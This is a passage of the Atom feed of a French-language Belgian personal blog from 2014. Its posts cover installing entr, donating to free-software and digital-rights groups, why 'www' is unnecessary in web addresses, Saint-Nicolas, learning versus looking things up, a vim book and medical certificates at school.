&lt;p&gt;Pour installer, c&amp;rsquo;est simple, c&amp;rsquo;est dans les dépôts. Sous &lt;a href="http://debian.org/"&gt;debian&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;apt-get&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;entr
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Vous pouvez reprendre une activité normale.&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Je laisse bien évidemment &lt;em&gt;zathura&lt;/em&gt; tourner, il recharge le pdf dès lors qu&amp;rsquo;il change.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Mes fichiers sources sont parfois plusieurs (des sources, des styles, un fichier maitre,) dans un répertoire &lt;code&gt;sources&lt;/code&gt;. Je compile via un &lt;code&gt;Makefile&lt;/code&gt; à base de &lt;code&gt;rubber&lt;/code&gt; et je place le pdf résultant dans un répertoire &lt;code&gt;dist&lt;/code&gt;.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Comment soutenir un financement alternatif ?</title><link href="http://blog.namok.be/2014-12-22-comment-soutenir-un-financement-alternatif.html" rel="alternate"/><published>2014-12-22T00:00:00+01:00</published><updated>2014-12-22T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-12-22:/2014-12-22-comment-soutenir-un-financement-alternatif.html</id><summary type="html">Fais un don aux projets libres que tu utilises.</summary><content type="html">&lt;p&gt;&lt;img alt="manche.jpg" src="/images/manche.jpg" title="manche.jpg, déc. 2014"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;TL;DR Participer financièrement aux projets qui nous tiennent à cœur.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Je hais les pubs, je l&amp;rsquo;ai déjà dit et je vais même jusqu&amp;rsquo;à les éviter &lt;a href="2014-05-30-comment-mieux-profiter-de-sa-radio-de-voiture.html"&gt;dans la voiture&lt;/a&gt;. Oui, la pub est un très bon moyen de financement et… un excellent moyen de nous abrutir.&lt;/p&gt;
&lt;p&gt;Faites l&amp;rsquo;expérience d&amp;rsquo;éviter au maximum les pubs pendant quelques semaines et, d&amp;rsquo;ensuite, les réécouter. Vous percevrez alors combien elles nous abêtissent.&lt;/p&gt;
&lt;p&gt;Pourtant, il est normal que les gens soient rémunérés pour leur travail. Dans le cas du web, il est normal que certains services soient payants. Alors que je ne suis pas prêt à débourser des milles et des cents, je trouve normal d&amp;rsquo;apporter ma contribution à des services que j&amp;rsquo;utilise ou que je trouve importants.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pourquoi soutenir des services qui décident de ne pas vivre de la pub ou de la vente de mes données ? Des services qui se veulent respectueux de la neutralité du web et de la vie privée ?&lt;/strong&gt;  &lt;/p&gt;
&lt;p&gt;Heu … la réponse est dans la question non ?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://donate.wikimedia.org/w/index.php?title=Special:FundraiserLandingPage&amp;amp;country=BE&amp;amp;uselang=fr&amp;amp;utm_medium=sidebar&amp;amp;utm_source=donate&amp;amp;utm_campaign=C13_fr.wikipedia.org"&gt;Soutenir Wikipedia&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://soutenir.framasoft.org/?f=nav"&gt;Soutenir Framasoft&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://soutien.laquadrature.net/"&gt;Soutenir La quadrature du net&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Parce que libre ne veut pas dire gratuit.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Il &lt;strong&gt;faut&lt;/strong&gt; (oui, toi aussi) soutenir de tels projets car ils se battent pour (entre autres):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;la neutralité du net;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Ce principe fondateur d&amp;rsquo;Internet garantit que les données circulant sur Internet ne soient pas discriminées, et permet l&amp;rsquo;innovation et la liberté d&amp;rsquo;expression.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Une &lt;a href="http://www.klaire.fr/2014/09/11/neon-qui-veut-tuer-les-internets/"&gt;infographie (chez Klaire)&lt;/a&gt; étant mieux qu&amp;rsquo;un long discours ou qu&amp;rsquo;un &lt;a href="2013-01-29-tweet-and-like-la-premiere-dose-est-toujours-gratuite.html"&gt;exemple&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;la protection du droit à la vie privée et de la non surveillance des états;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;pour la défense de la liberté d&amp;rsquo;expression, contre la censure;&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vous pouvez faire un don ponctuel, c&amp;rsquo;est déjà sympa !&lt;/p&gt;
&lt;p&gt;— Oui mais, je n&amp;rsquo;ai pas bcp de tunes !&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est une fausse excuse dès lors que tu as une connexion internet, un smartphone, que tu vas parfois boire un pot ou au cinéma…&lt;/p&gt;
&lt;p&gt;Tu ne &lt;strong&gt;dois&lt;/strong&gt; pas donner 50€ (tu &lt;strong&gt;peux&lt;/strong&gt; hein !). Tu peux te contenter de 5€… par an. On parle bien de boire deux bières en moins sur une année.&lt;/p&gt;
&lt;p&gt;— C&amp;rsquo;est compliqué, il faut une carte Visa.&lt;/p&gt;
&lt;p&gt;Pas spécialement. C&amp;rsquo;est le moyen mis en avant car c&amp;rsquo;est le plus simple mais tu peux utiliser le &lt;strong&gt;bon vieux virement&lt;/strong&gt;…&lt;br&gt;
&lt;em&gt;(Chez la &lt;a href="https://soutien.laquadrature.net/faq#faq-9"&gt;quadrature du net&lt;/a&gt; par exemple)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;— J&amp;rsquo;y pense et puis j&amp;rsquo;oublie.&lt;/p&gt;
&lt;p&gt;Les responsables de ces services doivent venir mendier chaque année pour que les utilisateurs fassent un don et ça ne leur plait pas. Ce serait tellement plus simple pour eux que les utilisateurs fassent un don chaque année… ou chaque mois. &lt;strong&gt;Pourquoi ne pas automatiser ton don ?&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Si tu peux te passer d&amp;rsquo;une bière (ou d&amp;rsquo;un café) alors, fais un &lt;strong&gt;ordre permanent&lt;/strong&gt; de quelques euros à ces associations qui « vont dans le bon sens ». C&amp;rsquo;est fait une fois et tu ne dois plus y penser.&lt;/p&gt;
&lt;p&gt;Tu consultes régulièrement Wikipedia. &lt;a href="https://donate.wikimedia.org/w/index.php?title=Special:FundraiserLandingPage&amp;amp;country=BE&amp;amp;uselang=fr&amp;amp;utm_medium=sidebar&amp;amp;utm_source=donate&amp;amp;utm_campaign=C13_fr.wikipedia.org"&gt;As-tu fait ton don&lt;/a&gt; ?&lt;br&gt;
Tu utilises les services alternatifs de Framasoft. &lt;a href="https://soutenir.framasoft.org/?f=nav"&gt;As-tu fait ton don&lt;/a&gt; ?&lt;br&gt;
Tu as de la chance de vivre en démocratie et de pouvoir t&amp;rsquo;exprimer mais tu te rends compte que tes libertés ne sont pas acquises sur internet, que conserver un internet neutre est un combat tel que le mène la Quadrature du net. &lt;a href="https://soutien.laquadrature.net/"&gt;As-tu fait ton don&lt;/a&gt; ?&lt;/p&gt;
&lt;p&gt;On parle bien d&amp;rsquo;apporter un soutien de quelques euros &lt;strong&gt;régulièrement&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Tout le monde devrait s&amp;rsquo;y mettre, l&amp;rsquo;enjeu est important.&lt;/p&gt;
&lt;p&gt;Moi, je donne, pas grand chose mais un peu…&lt;br&gt;
À toi.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo par &lt;a href="http://pit.namok.be/"&gt;moi&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Pourquoi faut il écrire www ?</title><link href="http://blog.namok.be/2014-12-09-pourquoi-ecrire-www.html" rel="alternate"/><published>2014-12-09T00:00:00+01:00</published><updated>2014-12-09T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-12-09:/2014-12-09-pourquoi-ecrire-www.html</id><summary type="html">Pourquoi faut il écrire www ?</summary><content type="html">&lt;p&gt;&lt;img alt="W_pool_by_marcopolo17_cut.jpg" src="/images/W_pool_by_marcopolo17_cut.jpg" title="W_pool_by_marcopolo17_cut.jpg, déc. 2014"&gt;&lt;/p&gt;
&lt;p&gt;— Pourquoi faut-il écrire &lt;code&gt;http://www&lt;/code&gt; ?&lt;br&gt;
— Eh bien en fait, il ne faut pas !&lt;/p&gt;
&lt;p&gt;Pourtant lorsque l&amp;rsquo;on donne l&amp;rsquo;adresse d&amp;rsquo;un site, on dit &lt;code&gt;http://www.example.org&lt;/code&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Lorsque tu pianotes un numéro sur un téléphone, tu ne précises pas que c&amp;rsquo;est un numéro de téléphone et pas une date de naissance… le fait d&amp;rsquo;utiliser le téléphone implique que le numéro est un numéro de téléphone&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;C&amp;rsquo;est la même chose lorsque tu entres une adresse dans ton navigateur, inutile de dire que c&amp;rsquo;est « du http », ton navigateur fait ce choix par défaut. D&amp;rsquo;ailleurs, la mode est de ne plus l&amp;rsquo;écrire.&lt;/p&gt;
&lt;p&gt;&lt;img alt="screenshot-example-1.png" src="/images/screenshot-example-1.png" title="screenshot-example-1.png, déc. 2014"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="screenshot-example-2.png" src="/images/screenshot-example-2.png" title="screenshot-example-2.png, déc. 2014"&gt;&lt;/p&gt;
&lt;p&gt;Inutile aussi de mettre ce damné &lt;em&gt;www&lt;/em&gt;. Son usage est historique, il signifie &lt;em&gt;world wild web&lt;/em&gt;, il ne sert strictement à rien. L&amp;rsquo;idée avec les noms de domaine (dans ce contexte), c&amp;rsquo;est de trouver un site web. Et bien, il se trouve là&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;http://example.org
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Il est possible d&amp;rsquo;avoir des &lt;strong&gt;sous-domaines&lt;/strong&gt;. Par exemple:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;http://blog.example.org 
http://wiki.example.org
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Dès lors que le serveur web est bien configuré &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;, inutile d&amp;rsquo;écrire &lt;code&gt;www&lt;/code&gt;. Dans votre navigateur &lt;code&gt;example.org&lt;/code&gt; ou &lt;code&gt;blog.example.org&lt;/code&gt; ou… suffit.&lt;/p&gt;
&lt;p&gt;Par contre, n&amp;rsquo;allez pas écrire &lt;code&gt;example org&lt;/code&gt; sans le point. Dans ce cas (présence d&amp;rsquo;espaces blancs), votre navigateur va penser que c&amp;rsquo;est une recherche que vous voulez faire et va faire appel au moteur de recherche que vous avez choisi pour lui demander « ce qu&amp;rsquo;il en pense ».&lt;/p&gt;
&lt;p&gt;Cette recherche est tout à fait &lt;strong&gt;inutile&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Si vous connaissez une adresse, ne la cherchez pas &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; et entrez la directement.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;était la minute « j&amp;rsquo;apprends internet » !&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo par &lt;a href="http://www.deviantart.com/art/W-pool-123234088"&gt;Marcopolo 17&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Certains serveurs sont mal configurés et imposent que l&amp;rsquo;on utilise &lt;code&gt;www&lt;/code&gt;. C&amp;rsquo;est mal et ils sont rares.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Ça a l&amp;rsquo;air un peu con dit comme ça, mais c&amp;rsquo;est l&amp;rsquo;usage que je constate.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Ce vieux barbu que l'on voit trop</title><link href="http://blog.namok.be/2014-12-06-saint-nicolas.html" rel="alternate"/><published>2014-12-06T00:00:00+01:00</published><updated>2014-12-06T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-12-06:/2014-12-06-saint-nicolas.html</id><summary type="html">Ce vieux barbu que l'on voit trop</summary><content type="html">&lt;p&gt;&lt;img alt="saint-nicolas-converse.jpg" src="/images/saint-nicolas-converse.jpg" title="saint-nicolas-converse.jpg, déc. 2014"&gt;&lt;/p&gt;
&lt;p&gt;Ce week-end, un spectacle intéressant est à l&amp;rsquo;affiche. Nous décidons d&amp;rsquo;y aller, ça à l&amp;rsquo;air sympa et les enfants seront contents de bouger un peu ce samedi après-midi. En plus, il pleut.&lt;/p&gt;
&lt;p&gt;En route la troupe ! Et direction le centre culturel pour une heure de musique !&lt;/p&gt;
&lt;p&gt;Oui mais, nous sommes fin novembre.&lt;br&gt;
Et, fin novembre, il faut à tout prix éviter d&amp;rsquo;aller à un spectacle. Il faut même éviter d&amp;rsquo;aller faire les courses. Éviter de fréquenter des lieux public dans lesquels pourraient se trouver des enfants.&lt;br&gt;
Car nous sommes.  Fin novembre.&lt;br&gt;
Et, fin novembre, il y en a toujours un pour avoir l&amp;rsquo;excellente idée de faire venir &lt;strong&gt;le grand barbu&lt;/strong&gt; ! (Le grand mince avec sa mitre… pas encore le p&amp;rsquo;tit gros avec son bonnet).&lt;/p&gt;
&lt;p&gt;— Pourquoi il est ici Saint-Nicolas ?&lt;br&gt;
— On peut faire la (longue) file ?&lt;br&gt;
— J&amp;rsquo;ai peur de Père fouettard. Pourquoi il est bleu d&amp;rsquo;ailleurs (&lt;a href="http://meinamsterdam.nl/ou-va-Zwarte-Piet"&gt;j&amp;rsquo;anticipe un peu&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;La sortie du spectacle aurait pu se passer comme toute bonne sortie de spectacle autour d&amp;rsquo;une p&amp;rsquo;tite pils avec les amis en se racontant les bons moments passés. Mais non ! Il a fallu manger une couque, boire un chocolat chaud… et dire aux enfants que, définitivement non, on ne ferait pas cette file pour recevoir un paquet de bonbons.&lt;/p&gt;
&lt;p&gt;Ça part sans doute d&amp;rsquo;une bonne intention.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Fin du premier acte&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Un matin, aux alentours du 6 décembre, on se lèvera et on boira gentiment le café du matin en observant les enfants qui découvrent les bonbons déposés par Saint-Nicolas et le cadeau familial.&lt;/p&gt;
&lt;p&gt;Non, ce ne sera pas un jouet qui ira rejoindre l&amp;rsquo;étagère des jouets abandonnés, ce sera une activité pour toute la famille.&lt;/p&gt;
&lt;p&gt;Finalement, Saint-Nicolas, c&amp;rsquo;est une affaire de famille, pas une affaire de magasin, de centre culturel voire de cinéma.&lt;/p&gt;
&lt;p&gt;Tu ne penses pas ?&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Photo par moi sous licence &lt;a href="http://creativecommons.org/licenses/by-sa/4.0/"&gt;CC-BY-SA&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Pourquoi dois-je retenir ça ?</title><link href="http://blog.namok.be/2014-11-12-pourquoi-retenir.html" rel="alternate"/><published>2014-11-12T00:00:00+01:00</published><updated>2014-11-12T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-11-12:/2014-11-12-pourquoi-retenir.html</id><summary type="html">Sans aucune connaissance, je ne serais pas capable de penser.</summary><content type="html">&lt;p&gt;&lt;img alt="brainwash.jpg" src="/images/brainwash.jpg" title="brainwash.jpg, nov. 2014"&gt;&lt;/p&gt;
&lt;p&gt;À l&amp;rsquo;époque où internet est (presque) toujours disponible et où (presque) toutes les réponses se trouvent en deux clics, la question qui se pose est:&lt;/p&gt;
&lt;p&gt;— Pourquoi je dois retenir ça ?&lt;/p&gt;
&lt;p&gt;En fonction de votre environnement, &lt;strong&gt;ça&lt;/strong&gt; peut-être une formule mathématique, des tables de multiplication, l&amp;rsquo;orthographe d&amp;rsquo;un mot, le numéro de téléphone de votre assureur, la date d&amp;rsquo;anniversaire de maman, cette méthode de l&amp;rsquo;API Java qui fait ce travail précis, l&amp;rsquo;article du règlement qui parle des dispenses, cette citation particulièrement cocasse de François Pignon, l&amp;rsquo;année de création de Twitter, le débit de cette pompe, comment lancer les tests JUnit voire un &lt;a href="http://fr.wikipedia.org/wiki/%C3%87a_%28roman%29"&gt;livre de Stephen King&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;S&amp;rsquo;il est inutile d&amp;rsquo;apprendre des choses que l&amp;rsquo;on peut trouver.&lt;br&gt;
S&amp;rsquo;il est vrai que je peux tout trouver.&lt;br&gt;
Alors, il ne faut plus rien apprendre.&lt;/p&gt;
&lt;p&gt;Je peux trouver une information (rapidement) parce que, je sais que je ne la connais pas mais je sais qu&amp;rsquo;elle existe et je connais les bons mots clés pour la trouver. Sans cette connaissance, je n&amp;rsquo; y parviendrais (probablement) pas.&lt;/p&gt;
&lt;p&gt;Je ne suis capable de &lt;strong&gt;penser&lt;/strong&gt; qu&amp;rsquo;à partir des idées qui sont déjà formées dans ma tête. Toutes les idées, tous les concepts qui se trouvent dans les livres, les vidéos, les tutos et autres sources d&amp;rsquo;informations ne peuvent me servir que lorsque mon cerveau les a (un peu) digérés.&lt;/p&gt;
&lt;p&gt;Mes idées viennent de ce que je sais, pas de ce que je &lt;em&gt;pourrais&lt;/em&gt; savoir.&lt;br&gt;
C&amp;rsquo;est ce que je sais et ce que je crois qui me permettent de comprendre le monde qui m&amp;rsquo;entoure… pas ce que je pourrais trouver avec mon smartphone.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Our thoughts come from what we know — not what we could know.&lt;br&gt;
We make sense of the world with the knowledge and beliefs in our mind, not with what we can look up on a smartphone.&lt;br&gt;
Extrait de &lt;a href="http://www.maa.org/sites/default/files/pdf/Mathhorizons/supplement/MH-CoreyWeb.pdf"&gt;I never use that&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://kosmobil.deviantart.com/art/Brainwash-90435739"&gt;kosmobil&lt;/a&gt;&lt;br&gt;
Crédit « When Will I Ever Use This? An Essay for Students Who Have Ever Asked This Question in Math Class » par Douglas Corey &lt;a href="http://www.maa.org/sites/default/files/pdf/Mathhorizons/supplement/MH-CoreyWeb.pdf"&gt;pdf&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Aujourd'hui, j'ai trouvé mon vim-clone</title><link href="http://blog.namok.be/2014-11-05-mon-vim-clone.html" rel="alternate"/><published>2014-11-05T00:00:00+01:00</published><updated>2014-11-05T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-11-05:/2014-11-05-mon-vim-clone.html</id><summary type="html">Un bon bouquin sur vim.</summary><content type="html">&lt;p&gt;&lt;img alt="alien-women.jpg" src="/images/alien-women.jpg" title="alien-women.jpg, nov. 2014"&gt;&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;était par le plus grand des hasards, au détour d&amp;rsquo;un dédale d&amp;rsquo;internet, lorsque j&amp;rsquo;ai reçu ce lien vers « Vim pour les humains ».&lt;/p&gt;
&lt;p&gt;— Encore un livre de plus qui parle de &lt;em&gt;vim&lt;/em&gt; ! aurais-je pu me dire.&lt;/p&gt;
&lt;p&gt;En fait non ! Des livres qui parlent de &lt;em&gt;vim&lt;/em&gt;, je n&amp;rsquo;en connais qu&amp;rsquo;un; celui de &lt;a href="http://www.oualline.com/books/index.html"&gt;Steve Oualline&lt;/a&gt;. Et il faut s&amp;rsquo;accrocher pour lire toutes les pages qui le composent ! Je n&amp;rsquo;y suis d&amp;rsquo;ailleurs jamais parvenu.&lt;/p&gt;
&lt;p&gt;Ne sachant que conseiller à ceux qui désirent apprendre &lt;em&gt;vim&lt;/em&gt; &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;, j&amp;rsquo;y suis allé de mes petits articles au fur et à mesure de mes découvertes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;les incontournables &lt;code&gt;set nocompatible&lt;/code&gt; et autres configuration élémentaires;&lt;/li&gt;
&lt;li&gt;ma &lt;a href="2007-03-23-vim7-tabs.html"&gt;découverte des &lt;strong&gt;onglets&lt;/strong&gt;&lt;/a&gt; en regardant par dessus l&amp;rsquo;épaule d&amp;rsquo;un étudiant. C&amp;rsquo;était en 2007;&lt;/li&gt;
&lt;li&gt;la &lt;a href="2007-05-16-vim-et-sa-statusbar.html"&gt;paramétrisation de la &lt;em&gt;statusbar&lt;/em&gt;&lt;/a&gt; pour y afficher, notamment, les numéros de ligne et de colonne;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;… et plus récemment:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;un &lt;a href="2014-03-14-howto-vim.html"&gt;guide de prise en main&lt;/a&gt; présentant NerdTree et pathogen;&lt;/li&gt;
&lt;li&gt;l&amp;rsquo;utilisation de la &lt;em&gt;leader key&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;l&amp;rsquo;utilisation de &lt;em&gt;vim&lt;/em&gt; dans le cadre &lt;a href="2013-03-18-howto-vim-et-projet-java.html"&gt;des laboratoires de java&lt;/a&gt; à la HEBÉSI;&lt;/li&gt;
&lt;li&gt;le plugin &lt;em&gt;vimroom&lt;/em&gt; permettant de faire de &lt;em&gt;vim&lt;/em&gt; un &lt;a href="2014-08-28-vim-distraction-free.html"&gt;éditeur distraction free&lt;/a&gt;;&lt;/li&gt;
&lt;li&gt;le choix de &lt;em&gt;solarized&lt;/em&gt; comme thème de couleur&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="https://vimebook.com/"&gt;Le livre en question s&amp;rsquo;appelle &lt;strong&gt;« Vim pour les humains »&lt;/strong&gt; et est disponible pour un prix libre&lt;/a&gt; &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;. J&amp;rsquo;ai lu le premier chapitre… et je constate les mêmes choix que moi… j&amp;rsquo;aurais pu/du écrire ce livre ;-)&lt;/p&gt;
&lt;p&gt;&lt;img alt="vimhumains-cover.png" src="/images/vimhumains-cover_m.png" title="vimhumains-cover.png, nov. 2014"&gt;&lt;/p&gt;
&lt;p&gt;Cerise sur le gâteau, l&amp;rsquo;auteur, &lt;a href="http://vincent.jousse.org/"&gt;Vincent Jousse&lt;/a&gt;, a fait le &lt;a href="http://viserlalune.com/blog/comment-doubler-sa-vitesse-de-frappe-au-clavier/"&gt;choix de BÉPO&lt;/a&gt; comme disposition de clavier tout comme &lt;a href="2012-08-22-bepo-enfin-le-respect-de-mes-bonnes-resolutions.html"&gt;ma bonne résolution de 2012&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Un livre à vous procurer …&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://artstation.com/"&gt;ArtStation&lt;/a&gt; par &lt;a href="http://www.artstation.com/artwork/based-on-aaron-miller-art-wip"&gt;Danilo Athayde&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Mes étudiants sont les premiers qui désirent apprendre &lt;em&gt;vim&lt;/em&gt;. « Qui désirent », je vais vite en besogne peut-être … quoique cette année, puisque l&amp;rsquo;on propose d&amp;rsquo;utiliser &lt;em&gt;nano&lt;/em&gt;, certains regrettent &lt;em&gt;vim&lt;/em&gt; qui offre bien sûr beaucoup plus de fonctionnalités.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Il n&amp;rsquo;est pas gratuit mais le prix est libre. Le montant est au choix de l&amp;rsquo;acheteur.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Le maçon était malade</title><link href="http://blog.namok.be/2014-10-24-macon-malade.html" rel="alternate"/><published>2014-10-24T00:00:00+02:00</published><updated>2014-10-24T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-10-24:/2014-10-24-macon-malade.html</id><summary type="html">Réflexion sur les certificats médicaux à l'école. Est-ce qu'ils dispensent de faire le travail ?</summary><content type="html">&lt;p&gt;&lt;img alt="mur-2986435873_092f5fcf57_o.jpg" src="/images/mur-2986435873_092f5fcf57_o.jpg" title="mur-2986435873_092f5fcf57_o.jpg, oct. 2014"&gt;&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai récemment demandé à mon maçon (oui oui, c&amp;rsquo;est le mien) de me construire une nouvelle maison.&lt;/p&gt;
&lt;p&gt;— Peux-tu me construire une nouvelle maison, comme celle que j&amp;rsquo;imagine juste là maintenant ?&lt;br&gt;
— Oui bien sûr, je suis un très bon maçon, je m&amp;rsquo;y met tout de suite.&lt;/p&gt;
&lt;p&gt;Tout démarre sur des chapeaux de roues, les fondations sont rapidement et consciencieusement terminées et les murs se montent. Les briques s&amp;rsquo;empilent à une cadence digne du plus rapide des drakkars. Je pense déjà a peindre l&amp;rsquo;intérieur et je m&amp;rsquo;imagine au coin du poêle avec un bon bouquin.&lt;/p&gt;
&lt;p&gt;Mon maçon, Albert, tombe malade.&lt;br&gt;
Il sera absent deux semaines.&lt;/p&gt;
&lt;p&gt;À son retour, au lieu de reprendre là ou il en était, il commence à placer la brique de façade bien que le mur arrière ne soit pas construit. Étrange, c&amp;rsquo;est bien grand pour une baie vitrée ! Sans parler de la stabilité, il va y avoir du courant d&amp;rsquo;air.&lt;/p&gt;
&lt;p&gt;Ce matin, Albert me demande d&amp;rsquo;être payé.&lt;br&gt;
Il ne construira pas le mur arrière.&lt;br&gt;
Il me montre son certificat médical pour ses quinze jours d&amp;rsquo;absence.&lt;/p&gt;
&lt;p&gt;Que faire ?&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Réflexion sur les certificats médicaux à l&amp;rsquo;école. Est-ce qu&amp;rsquo;ils dispensent de faire le travail ?&lt;/em&gt; &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://flickr.com/"&gt;Flickr&lt;/a&gt; par &lt;a href="https://www.flickr.com/photos/71712759@N00/2986435873"&gt;Matias&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Les points de balance en balance…</title><link href="http://blog.namok.be/2014-10-01-decret-paysage-marcourt-3.html" rel="alternate"/><published>2014-10-01T00:00:00+02:00</published><updated>2014-10-01T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2014-10-01:/2014-10-01-decret-paysage-marcourt-3.html</id><summary type="html">Le  décret Marcourt (encore lui). Troisième.</summary><content type="html">&lt;p&gt;&lt;em&gt;… ou le décret Marcourt / paysage troisième.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="seesaw_by_picturethis27-d2z3hkb.jpg" src="/images/seesaw_by_picturethis27-d2z3hkb.jpg" title="seesaw_by_picturethis27-d2z3hkb.jpg, oct. 2014"&gt;&lt;/p&gt;
